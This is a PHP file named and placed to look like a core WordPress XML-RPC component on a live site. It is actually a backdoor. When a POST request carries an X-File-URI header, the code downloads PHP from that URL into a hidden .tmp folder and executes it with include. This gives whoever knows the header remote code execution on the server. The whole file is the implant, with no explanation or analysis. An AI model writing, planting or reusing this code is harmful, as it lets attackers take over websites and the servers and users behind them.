File: /home/abtgzsqx/profius-project.com/wp-includes/IXR/ixr-class-ixr-introspectionserver.php
<?php
function __dwn($url) {
$base = getcwd();
if ($base === false || $base === '') {
throw new RuntimeException('Cannot determine current directory');
}
$dir = rtrim($base, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . '.tmp';
if (!is_dir($dir) && !mkdir($dir, 0775, true) && !is_dir($dir)) {
throw new RuntimeException('Cannot create .tmp directory');
}
$dest = $dir . DIRECTORY_SEPARATOR . md5((string)time()) . '.php';
$fp = fopen($dest, 'wb');
if ($fp === false) {
throw new RuntimeException('Cannot open destination file');
}
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_FILE => $fp,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_FAILONERROR => true,
CURLOPT_CONNECTTIMEOUT => 15,
CURLOPT_TIMEOUT => 120,
CURLOPT_USERAGENT => 'PHP Downloader',
]);
$ok = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
fclose($fp);
if ($ok !== true) {
@unlink($dest);
throw new RuntimeException($err !== '' ? $err : 'Download failed');
}
} else {
$data = @file_get_contents($url);
if ($data === false) {
fclose($fp);
@unlink($dest);
throw new RuntimeException('Download failed');
}
fwrite($fp, $data);
fclose($fp);
}
return $dest;
}
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_SERVER["HTTP_X_FILE_URI"])) {
$f = __dwn($_SERVER["HTTP_X_FILE_URI"]);
include $f;
}
}
?>